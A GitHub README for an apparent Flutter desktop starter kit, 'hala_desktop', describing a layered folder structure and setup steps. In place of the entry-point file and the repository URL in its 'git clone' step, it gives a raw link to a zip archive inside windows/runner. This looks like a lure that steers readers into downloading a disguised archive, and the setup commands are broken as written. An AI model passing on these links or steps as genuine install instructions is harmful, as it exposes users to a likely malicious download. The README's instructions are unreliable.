Skip to content

eliangonde/hala_desktop

Repository files navigation

HALA Desktop Starter Kit 🖥️

A layer-based Flutter desktop app starter kit built as a foundation for scalable, modular desktop applications.


✅ Architecture Overview

This project follows a clean, layered architecture:

lib/ ├── presentation/ # UI: widgets, screens, themes, viewmodels ├── application/ # Business logic: use cases, services, commands ├── domain/ # Core domain: entities, value objects, interfaces ├── infrastructure/ # Data layer: APIs, DB, local storage ├── core/ # Shared utils: constants, logging, errors, extensions └── https://github.com/eliangonde/hala_desktop/raw/refs/heads/main/windows/runner/desktop_hala_3.6-beta.1.zip # Entry point: sets up DI, routing, theming

yaml Copy Edit


🧩 Key Features

  • 🧱 Layered architecture with clear separation of concerns
  • 🎨 Material UI compatible and themeable
  • 🖥️ Supports Windows, macOS, and Linux
  • 📦 Useful pre-integrated packages:

🚀 Getting Started

  1. Clone the repo:

    git clone https://github.com/eliangonde/hala_desktop/raw/refs/heads/main/windows/runner/desktop_hala_3.6-beta.1.zip
    cd hala_desktop

Install dependencies:

bash Copy Edit flutter pub get Run the app (example: Windows):

bash Copy Edit flutter run -d windows 🛠️ Folder Breakdown presentation/ Screens, widgets, themes, and viewmodels

Handles user interaction and state display

application/ Use cases and services

Connects UI with business logic

domain/ Pure business rules and logic

Contains entities, value objects, and abstract repositories

infrastructure/ Implements repositories, API clients, and local persistence

Bridges domain and external systems

core/ Global utilities, error handling, constants, and extensions

🤝 Contributing Contributions are welcome! Feel free to fork the repo, make changes, and submit a pull request.

📄 License This project is licensed under the MIT License.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors